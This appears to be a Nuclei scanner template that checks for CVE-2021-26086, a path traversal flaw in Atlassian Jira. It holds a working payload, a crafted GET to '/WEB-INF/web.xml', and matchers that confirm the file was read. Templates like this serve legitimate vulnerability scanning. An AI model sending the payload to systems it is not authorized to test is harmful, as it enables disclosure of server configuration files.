id: CVE-2021-26086

info:
  name: Jira Limited Local File Read
  author: cocxanh
  severity: medium
  description: Affected versions of Atlassian Jira Server and Data Center allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-72695
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26086
  tags: cve,cve2021,jira,lfi
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.30
    cve-id: CVE-2021-26086
    cwe-id: CWE-22

requests:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<web-app"
          - "</web-app>"
        part: body
        condition: and